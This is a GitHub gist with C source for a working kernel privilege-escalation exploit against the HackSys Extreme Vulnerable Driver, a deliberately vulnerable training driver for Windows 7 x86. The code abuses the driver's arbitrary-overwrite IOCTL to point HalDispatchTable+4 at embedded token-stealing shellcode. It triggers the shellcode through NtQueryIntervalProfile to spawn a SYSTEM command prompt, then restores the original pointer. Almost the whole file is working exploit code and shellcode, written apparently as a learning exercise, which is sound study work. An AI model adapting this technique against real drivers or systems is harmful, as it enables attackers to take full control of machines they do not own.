-
-
Save ewilded/4b9257b552c6c1e2a3af32879f623803 to your computer and use it in GitHub Desktop.
HEVD_write-what-where
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// this is my third HEVD exploit based on hasherezade's HEVD IOCTL-talking skeleton and HEVD official POC | |
#include <stdio.h> | |
#include <windows.h> | |
#include <time.h> | |
#include <Psapi.h> | |
#include <winioctl.h> | |
#include <TlHelp32.h> | |
// 802 | |
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) | |
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver"; | |
HANDLE open_device(const char* device_name) | |
{ | |
HANDLE device = CreateFileA(device_name, | |
GENERIC_READ | GENERIC_WRITE, | |
NULL, | |
NULL, | |
OPEN_EXISTING, | |
NULL, | |
NULL | |
); | |
return device; | |
} | |
void close_device(HANDLE device) | |
{ | |
CloseHandle(device); | |
} | |
// offsets below are taken from Payloads.h from the HEVD exploit | |
// Windows 7 SP1 x86 Offsets | |
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread | |
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process | |
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId | |
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink | |
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token | |
#define SYSTEM_PID 0x004 // SYSTEM Process PID | |
/* token-stealing code: | |
0: 60 pusha | |
1: 64 a1 24 01 00 00 mov %fs:0x124,%eax | |
7: 8b 40 50 mov 0x50(%eax),%eax | |
a: 89 c1 mov %eax,%ecx | |
c: ba 04 00 00 00 mov $0x4,%edx | |
11: 8b 80 b8 00 00 00 mov 0xb8(%eax),%eax | |
17: 2d b8 00 00 00 sub $0xb8,%eax | |
1c: 39 90 b4 00 00 00 cmp %edx,0xb4(%eax) | |
22: 75 ed jne 0x11 | |
24: 8b 90 f8 00 00 00 mov 0xf8(%eax),%edx | |
2a: 8b b9 f8 00 00 00 mov 0xf8(%ecx),%edi | |
30: 83 e2 f8 and $0xfffffff8,%edx | |
33: 83 e7 07 and $0x7,%edi | |
36: 01 fa add %edi,%edx | |
38: 89 91 f8 00 00 00 mov %edx,0xf8(%ecx) | |
3e: 61 popa | |
3f: c3 ret | |
*/ | |
unsigned char kShellcode[] = { | |
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, | |
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, | |
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, | |
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, | |
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00, | |
0x00, 0x00, 0x61, 0xC3 // 0xC3 RET (added missing) | |
}; | |
PVOID HaliQuerySystemInformation = NULL; // global pointers to the kernel structures we will be messing with | |
PVOID HalDispatchTable = NULL; | |
PVOID TokenStealingShellcode = NULL; | |
PVOID HalDispatchTablePlus4 = NULL; | |
// type declaration taken from HEVDs source: | |
typedef struct _WRITE_WHAT_WHERE { | |
PULONG_PTR What; | |
PULONG_PTR Where; | |
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE; | |
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) | |
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) | |
typedef enum _SYSTEM_INFORMATION_CLASS { | |
SystemModuleInformation = 11, | |
SystemHandleInformation = 16 | |
} SYSTEM_INFORMATION_CLASS; | |
typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); | |
// the following two typedefs are also taken from the Common.h from HEVD exploit (), this structure is used to retrieve the HalDisaptchTable address in GetHalDispatchTable. | |
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { | |
PVOID Unknown1; | |
PVOID Unknown2; | |
PVOID Base; | |
ULONG Size; | |
ULONG Flags; | |
USHORT Index; | |
USHORT NameLength; | |
USHORT LoadCount; | |
USHORT PathLength; | |
CHAR ImageName[256]; | |
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; | |
typedef struct _SYSTEM_MODULE_INFORMATION { | |
ULONG Count; | |
SYSTEM_MODULE_INFORMATION_ENTRY Module[0]; // actually there is Count of elements in this Module array, for the sake of using the structure to parse a block of data, this is sufficient to ready any index we need - which in this case is only 0 (ntoskrnl.exe) and 1 (halacpi.dll) | |
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; | |
// template for this was taken from ArbitraryOverwrite.c (HEVD official POC) | |
PVOID FetchGlobalPointers() { | |
HMODULE hNtDll = NULL; | |
HMODULE hKernelInUserMode = NULL; | |
HMODULE hHalacpiInUserMode = NULL; | |
PVOID KernelBaseAddressInKernelMode; | |
PVOID HalacpiBaseAddressInKernelMode; | |
ULONG HaliQuerySystemInformationOffset = 0x1b940; | |
PCHAR KernelImage; | |
PCHAR HalacpiImage; | |
SIZE_T ReturnLength; | |
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; | |
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; | |
hNtDll = LoadLibrary("ntdll.dll"); | |
if (!hNtDll) { | |
printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
NtQuerySystemInformation_t NtQuerySystemInformation; | |
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation"); | |
if (!NtQuerySystemInformation) { | |
printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); // this is where ReturnLength is filled with a value - it's an output argument of NtQuerySystemInformation, we receive the length of the sys module information object | |
// Allocate the Heap chunk to store the object | |
printf("Allocaing %u bytes...", ReturnLength); | |
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), | |
HEAP_ZERO_MEMORY, | |
ReturnLength); | |
if (!pSystemModuleInformation) { | |
printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
NtStatus = NtQuerySystemInformation(SystemModuleInformation, | |
pSystemModuleInformation, | |
ReturnLength, | |
&ReturnLength); // retrieve system information | |
printf("Retrieved %u bytes (%u modules)\n",ReturnLength,pSystemModuleInformation->Count); | |
if (NtStatus != STATUS_SUCCESS) { | |
printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
// looks like all we have to do is iterate over pSystemModuleInformation->Module in order to fetch halacpi.dll base, in addition to fetching kernelbase below (check (PCHAR)(pSystemModuleInformation->Module[0].ImageName)) | |
KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; | |
KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; | |
printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage); | |
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode); | |
hKernelInUserMode = LoadLibraryA(KernelImage); | |
if (!hKernelInUserMode) { | |
printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
// Calculate HalDispatchTable address | |
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); | |
if (!HalDispatchTable) { | |
printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else { | |
HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode); // calculate the offset of the function from the module base in user mode | |
// Here we get the address of HalDispatchTable in Kernel mode - add the offset to the kernel base | |
HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode); | |
printf("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable); | |
} | |
// Now HaliQuerySystemInformation... | |
// We are using a fixed offset confirmed both with dynamic and static analysis (windbg and ghidra) | |
HalacpiImage = strrchr((PCHAR)(pSystemModuleInformation->Module[1].ImageName), '\\') + 1; | |
HalacpiBaseAddressInKernelMode = pSystemModuleInformation->Module[1].Base; | |
printf("\t\t\t[+] Halacpi Image: %s \n", HalacpiImage); | |
printf("\t\t\t[+] Halacpi Base Address: 0x%p\n", HalacpiBaseAddressInKernelMode); | |
// now, add the offset | |
HaliQuerySystemInformation = (PVOID)((ULONG_PTR)HalacpiBaseAddressInKernelMode + (ULONG_PTR)HaliQuerySystemInformationOffset); | |
printf("\t\t\t[+] HaliQuerySystemInformation Address: 0x%p\n", HaliQuerySystemInformation); | |
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); | |
if (hNtDll) { | |
FreeLibrary(hNtDll); | |
} | |
if (hKernelInUserMode) { | |
FreeLibrary(hKernelInUserMode); | |
} | |
} | |
BOOL send_ioctl(HANDLE device, DWORD ioctl_code) | |
{ | |
// What we need here are: | |
// a pointer to the shellcode | |
// a pointer/buffer (structure) containing the pointer (where) we are about to overwrite (HAL Dispatch Table + 04, as it is the function called by nt!NtQueryIntervalProfile) (just as described here https://rootkits.xyz/blog/2017/09/kernel-write-what-where, while the technique itself is described here http://poppopret.blogspot.de/2011/07/windows-kernel-exploitation-basics-part.html | |
//prepare the input buffer: | |
PWRITE_WHAT_WHERE input_buffer = (PWRITE_WHAT_WHERE) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)); | |
if (!input_buffer) | |
{ | |
printf("\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else | |
{ | |
printf("\t\t\t[+] Memory Allocated: 0x%p\n", input_buffer); | |
printf("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE)); | |
} | |
// 1. set the pointers | |
TokenStealingShellcode = &kShellcode; // the one that does not fix anything - but the ret was missing since we are using shellcode defined as a buffer of bytes, not an inline compilation like the original HEVD PoC does | |
printf("\t\t\t[+] Shellcode Address: 0x%p\n", TokenStealingShellcode); | |
FetchGlobalPointers(); // retrieve kernel mode addresses of nt!HalDispatchTable and hal!HaliQuerySystemInformation (the latter is the original function pointed by nt!HalDispatchTable+0x4) | |
HalDispatchTablePlus4 = (PVOID)((ULONG_PTR)HalDispatchTable+sizeof(PVOID)); | |
// 2. what and where | |
input_buffer->What=(PULONG_PTR)&TokenStealingShellcode; | |
printf("\t\t\t[+] Pointer To The Shellcode Address: 0x%p\n", input_buffer); | |
input_buffer->Where=(PULONG_PTR)HalDispatchTablePlus4; | |
// 3. call the driver to attain the arbitrary overwrite | |
DWORD size_returned = 0; | |
BOOL is_ok = DeviceIoControl(device, | |
ioctl_code, | |
(LPVOID)input_buffer, | |
sizeof(WRITE_WHAT_WHERE), | |
NULL, //outBuffer -> None | |
0, //outBuffer size -> 0 | |
&size_returned, | |
NULL | |
); | |
// 4. now we have to call the nt!NtQueryIntervalProfile system function so it calls our shellcode from ring0 | |
// LoaadLibrary ntdll | |
HMODULE hNtDll = NULL; | |
hNtDll = LoadLibrary("ntdll.dll"); | |
typedef NTSTATUS (WINAPI *NtQueryIntervalProfileFnc)(IN ULONG ProfileSource, OUT PULONG Interval); | |
NtQueryIntervalProfileFnc NtQueryIntervalProfile; // pointer to the NtQueryIntervalProfile method | |
NtQueryIntervalProfile = (NtQueryIntervalProfileFnc)GetProcAddress(hNtDll, "NtQueryIntervalProfile"); | |
if (!NtQueryIntervalProfile) | |
{ | |
printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
// we just call this thing with random params | |
ULONG Interval = 0; | |
NtQueryIntervalProfile(0x1337, &Interval); | |
// 5. we spawn cmd.exe (taken from HackSysEVDExploit.c) | |
DWORD Start, Stop = 0; | |
STARTUPINFO StartupInfo = {0}; | |
PROCESS_INFORMATION ProcessInformation = {0}; | |
StartupInfo.wShowWindow = SW_SHOW; | |
StartupInfo.cb = sizeof(STARTUPINFO); | |
StartupInfo.dwFlags = STARTF_USESHOWWINDOW; | |
if (!CreateProcess(NULL, | |
"cmd.exe", | |
NULL, | |
NULL, | |
FALSE, | |
CREATE_NEW_CONSOLE, | |
NULL, | |
NULL, | |
&StartupInfo, | |
&ProcessInformation)) { | |
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
//WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // we don't wait for the child process, instead we already proceed to fixing the original HalDispatchTable+0x4 value once the escalation is done, to avoid another process crashing the system, while the the escalated child cmd.exe runs and will keep running even after the parent process terminates | |
// 6. Trigger the vulnerability again, this time to restore the original value of HalDispatchTable+0x4, so the next process calling NtQueryIntervalProfile() does not crash the system (which they do, e.g. svchost.exe). | |
printf("\t\t\t[+] Restoring the original HaliQuerySystemInformation Address 0x%p to HalDispatchTable+0x4 0x%p\n", HaliQuerySystemInformation,HalDispatchTablePlus4); | |
input_buffer->What=(PULONG_PTR)&HaliQuerySystemInformation; // the original value of nt!HalDispatchTable+0x4 is hal!HaliQuerySystemInformation (halacpi.dll) (an address in kernel mode, address of this exact function) | |
input_buffer->Where=(PULONG_PTR)HalDispatchTablePlus4; | |
printf("\t\t\t[+] Right after setting the value, input_buffer->Where: 0x%p\n",input_buffer->Where); | |
is_ok = DeviceIoControl(device, | |
ioctl_code, | |
(LPVOID)input_buffer, | |
sizeof(WRITE_WHAT_WHERE), | |
NULL, //outBuffer -> None | |
0, //outBuffer size -> 0 | |
&size_returned, | |
NULL | |
); | |
// 7. Cleanup | |
// Close the open handles | |
CloseHandle(ProcessInformation.hThread); | |
CloseHandle(ProcessInformation.hProcess); | |
// Release the input bufffer: | |
HeapFree(GetProcessHeap(), 0, (LPVOID)input_buffer); | |
// OUR EXPLOIT ENDS HERE | |
return is_ok; | |
} | |
int main() | |
{ | |
HANDLE dev = open_device(kDevName); | |
if (dev == INVALID_HANDLE_VALUE) { | |
printf("Failed!\n"); | |
// system("pause"); | |
return -1; | |
} | |
send_ioctl(dev, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE); | |
close_device(dev); | |
// system("pause");.. | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment